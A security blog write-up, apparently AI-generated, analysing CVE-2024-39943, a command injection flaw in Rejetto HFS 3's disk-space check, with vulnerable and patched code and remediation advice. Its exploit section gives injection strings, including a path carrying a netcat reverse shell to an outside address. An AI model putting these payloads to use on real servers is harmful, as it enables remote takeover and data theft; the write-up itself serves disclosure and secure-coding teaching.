CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2024-39943

Shells on the File System: Dissecting CVE-2024-39943 in HFS

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 28, 2026·7 min read·13 visits

Executive Summary (TL;DR)

Rejetto HFS 3, the Node.js rewrite of the popular file server, contained a classic command injection flaw. By passing unsanitized user paths directly into a shell execution to check disk space (`df` command), attackers could break out of the command string and execute arbitrary code. Fixed in version 0.52.10 by switching from `execSync` to `spawnSync`.

A critical OS Command Injection vulnerability in Rejetto HFS 3 allows authenticated attackers with upload permissions to execute arbitrary commands on the host server via the disk space check logic.

The Hook: Modern Tech, Ancient Mistakes

Rejetto HFS (HTTP File Server) has been a staple in the IT administrator's toolkit for nearly two decades. It's the software equivalent of a Swiss Army knife: ugly, utilitarian, but incredibly effective for quickly spinning up a file share. Recently, the project underwent a massive metamorphosis, shifting from its original Delphi roots to a shiny new Node.js/TypeScript codebase known as HFS 3.

But as we all know, changing languages doesn't fix bad habits; it just translates them. In the rush to replicate functionality, the developers needed a way to check available disk space before accepting file uploads. It's a reasonable requirement—you don't want to crash the server by filling the partition.

However, the implementation of this feature committed the cardinal sin of web security: trusting user input inside a system shell command. This isn't some complex heap overflow or a race condition requiring frame-perfect timing. This is the kind of vulnerability that makes penetration testers giggle and sysadmins weep: direct, unadulterated Command Injection.

The Flaw: A fatal `df` dependency

The vulnerability resides in src/util-os.ts within the getDiskSpaceSync function. The logic is simple: when a user attempts to upload a file, the server needs to know if there is enough space on the disk. To find this out, the application decided to ask the operating system directly using the df (disk free) utility.

Instead of using a native Node.js API to check disk stats (which, admittedly, can be tricky across platforms), the code opted to spawn a shell command. Specifically, it used execSync. In the Node.js world, exec and execSync are dangerous because they spawn a shell (/bin/sh on *nix) to interpret the command string.

This means that if any part of that command string is controlled by a user, and that user knows how to use a semicolon or a backtick, they aren't just uploading a file—they are effectively sitting at your terminal. The code attempted to wrap the path in double quotes, a defense that is about as effective as a screen door on a submarine.

The Code: The Smoking Gun

Let's look at the exact moment things went south. Below is the vulnerable code found in versions prior to 0.52.10. Pay close attention to how the path variable is interpolated.

// Vulnerable Code in src/util-os.ts
export function getDiskSpaceSync(path: string) {
    // ... (omitted logic)
    while (path && !existsSync(path))
        path = dirname(path)
    
    // HERE IS THE BUG:
    const out = try_(() => execSync(`df -k "${path}"`).toString(),
        err => { /* error handling */ })
    
    // ...
}

The developer used a template string: `df -k "$\{path\}"`. If path is /home/user/uploads, the shell sees df -k "/home/user/uploads". Valid and safe.

But what if path is "; id; #? The shell sees: df -k ""; id; #"

The shell tries to run df -k "" (which might fail or show all mounts), then hits the semicolon ;, and dutifully executes id. The trailing quote is commented out by the #. We have achieved RCE.

The fix was straightforward: switch to spawnSync. Unlike exec, spawn does not invoke a shell by default. It treats arguments as literal strings, not commands to be parsed.

// Fixed Code (Commit 305381bd36eee074fb238b64302a252668daad1d)
// Note the switch to spawnSync and the array of arguments
const out = try_(() => spawnSync('df', ['-k', path]).stdout.toString(),
    err => { /* error handling */ })

The Exploit: Dancing around `existsSync`

Exploiting this isn't completely trivial due to one specific line of code preceding the injection:

while (path && !existsSync(path))
    path = dirname(path)

The application tries to be helpful by walking up the directory tree until it finds a folder that actually exists. If we send a path that is total garbage, the loop will strip it all the way down to / or . before passing it to df. This effectively sanitizes our payload by removing the injection vector before it hits the vulnerable function.

However, the attacker has Upload Permissions. This is the key. To exploit this, we don't just send a payload; we create the environment for it.

The Attack Chain:

  1. Authenticate: Log in as a user with upload rights.
  2. Stage: Create a directory (or upload a file) with a benign name, e.g., /uploads/images.
  3. Trigger: Initiate an upload, but manipulate the destination path in the request.
  4. Payload: We craft a path that looks like a valid subdirectory but contains our injection. For example: "/uploads/images/"; nc -e /bin/sh 10.0.0.1 4444 #.

If the application logic allows the path to persist long enough to hit the existsSync check—or if we can actually create a directory named "; (which is valid on Linux)—we win. Even if the loop strips parts of the path, if the attacker can influence the starting point of that check, they can ensure the malicious string is passed to execSync.

The Impact: Why this is a 9.9

CVSS 9.9 is reserved for the "drop everything and patch" category. Why is this specific bug so severe? It combines Network Access with Low Complexity and High Impact.

HFS is designed to run as a server, often exposed to the public internet to share files with clients. While the vulnerability requires authentication, "upload permissions" is a very low bar. In many HFS deployments, guest accounts or shared credentials with upload rights are common.

Once code execution is achieved, the attacker runs with the privileges of the Node.js process. If the admin was lazy (and let's be honest, we all have our moments) and ran HFS as root, the attacker now owns the box. Even as a low-privileged user, they can pivot to internal networks, install persistence, or exfiltrate all the files hosted on the server.

Furthermore, the EPSS score sits at nearly 79%. This isn't a theoretical academic finding. Automated bots are actively scanning for this. If you have a vulnerable HFS instance facing the web, it's not a matter of if you get popped, but when.

The Fix: Kill the Shell

The remediation here is a classic lesson in secure coding: Separation of Data and Code. By using exec or execSync, you are mixing data (the path) with code (the shell command). By switching to spawn or spawnSync, you clearly define what is the executable (df) and what are the arguments (path).

For Administrators: Update to HFS version 0.52.10 immediately. If you cannot update, restrict access to the HFS port to trusted IP addresses only, or disable account upload permissions.

For Developers: This serves as a reminder to lint your code for child_process.exec usage. It should almost always be replaced by child_process.spawn or child_process.execFile. If you absolutely must use exec, use a library like shell-quote to sanitize inputs, though even that is prone to edge cases. Just don't use the shell.

Official Patches

RejettoGitHub Commit fixing the issue

Fix Analysis (1)

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
78.34%
Top 99% most exploited

Affected Systems

Rejetto HFS 3 (Node.js version)

Affected Versions Detail

Product
Affected Versions
Fixed Version
HFS 3
Rejetto
< 0.52.100.52.10
AttributeDetail
CWE IDCWE-78 (OS Command Injection)
CVSS Score9.9 (Critical)
Attack VectorNetwork (Authenticated)
EPSS Score0.7834 (High Probability)
ImpactRemote Code Execution (RCE)
Vulnerable Componentsrc/util-os.ts (getDiskSpaceSync)

MITRE ATT&CK Mapping

T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1190Exploit Public-Facing Application
Initial Access
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Known Exploits & Detection

GitHubDiscussion and PoC snippets related to the vulnerability in issue tracker.

Vulnerability Timeline

Fix committed by vendor
2024-07-02
CVE Published
2024-07-04
Security advisory published by AhnLab
2024-08-12

References & Sources

  • [1]HFS GitHub Issues
  • [2]AhnLab Security Advisory

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•32 minutes ago•CVE-2026-54070
7.1

CVE-2026-54070: Stored Cross-Site Scripting via Modern HTML5 Event Handler Bypass in SiYuan Bazaar

A high-severity Stored Cross-Site Scripting (XSS) vulnerability exists in SiYuan prior to version 3.7.0. The vulnerability is located within the server-side Markdown-to-HTML parsing component for the Bazaar marketplace packages. Due to an incomplete event-handler attribute blocklist in the lute parsing engine and a lack of client-side DOM sanitization, malicious package authors can bypass restrictions using modern HTML5 event handlers. When an authenticated administrator views a malicious package, the embedded JavaScript runs in the administrator origin, allowing unauthorized workspace access, local file reading, and remote API execution.

Alon Barad
Alon Barad
4 views•5 min read
•about 2 hours ago•GHSA-489G-7RXV-6C8Q
8.2

CVE-2026-27826: DNS Rebinding TOCTOU Bypass in mcp-atlassian Server

A DNS-rebinding Time-of-Check to Time-of-Use (TOCTOU) vulnerability exists in the mcp-atlassian server before version 0.17.0. The server processes unauthenticated client-supplied URLs via custom headers, validating the destination IP but failing to pin the resolved address before connecting. This allows remote adjacent-network attackers to achieve Server-Side Request Forgery (SSRF) and access restricted resources or cloud metadata services.

Amit Schendel
Amit Schendel
3 views•5 min read
•about 4 hours ago•CVE-2026-49866
7.5

CVE-2026-49866: CPU-Based Denial of Service in @libp2p/gossipsub Protobuf Parser

A high-severity denial-of-service vulnerability in @libp2p/gossipsub prior to version 16.0.0 allows unauthenticated remote attackers to trigger event loop starvation and complete node freeze by exploiting unbounded protobuf decoding limits and nested synchronous array iteration loops.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 5 hours ago•CVE-2026-49858
5.9

CVE-2026-49858: Cross-User Attribute and Relation Leak in API Platform Core Serializers

CVE-2026-49858 is a vulnerability in API Platform Core's JSON:API and HAL item normalizers where conditionally secured attributes are cached globally in memory. When deployed in long-running PHP execution environments such as FrankenPHP worker mode, Swoole, or RoadRunner, this persistent caching bypasses property-level security constraints, allowing unprivileged users to access sensitive, unauthorized fields cached during privileged requests.

Alon Barad
Alon Barad
5 views•7 min read
•about 5 hours ago•CVE-2026-5078
5.3

CVE-2026-5078: Log Forging and Injection via :remote-user Token in Morgan Logging Middleware

CVE-2026-5078 is a log injection vulnerability in Morgan, the widely deployed Node.js HTTP request logging middleware. The vulnerability arises because the ':remote-user' logging token decodes and outputs basic authentication usernames containing control characters, such as Carriage Return (CR) and Line Feed (LF), without sanitization. An unauthenticated attacker can bypass native HTTP header parsers by Base64-encoding CRLF sequences in the Authorization header. When Morgan logs the request, these control characters force newlines in the log stream, enabling log forging, SIEM evasion, and system activity spoofing.

Alon Barad
Alon Barad
6 views•7 min read
•about 16 hours ago•CVE-2026-48861
2.1

CVE-2026-48861: HTTP Request Splitting and Smuggling via Method Parameter CRLF Injection in Elixir Mint

CVE-2026-48861 is a client-side HTTP request-line CRLF (Carriage Return Line Feed) injection vulnerability in the popular Elixir HTTP client library, Mint. The vulnerability permits HTTP Request Splitting and HTTP Request Smuggling when an application forwards untrusted, attacker-controlled inputs to Mint's HTTP client requests as either the HTTP request method or target. By embedding CRLF characters within these parameters, an attacker can terminate the request line prematurely, inject malicious headers, or pipeline entirely independent requests. These smuggled requests are then processed by upstream or downstream proxy servers as separate HTTP queries on the same TCP connection. While Mint version 1.7.0 introduced target validation to secure the request target, the HTTP request method parameter remained completely unvalidated. This flaw allows attackers to bypass routing filters, access restricted internal APIs, or poison HTTP caches under default configurations.

Amit Schendel
Amit Schendel
6 views•7 min read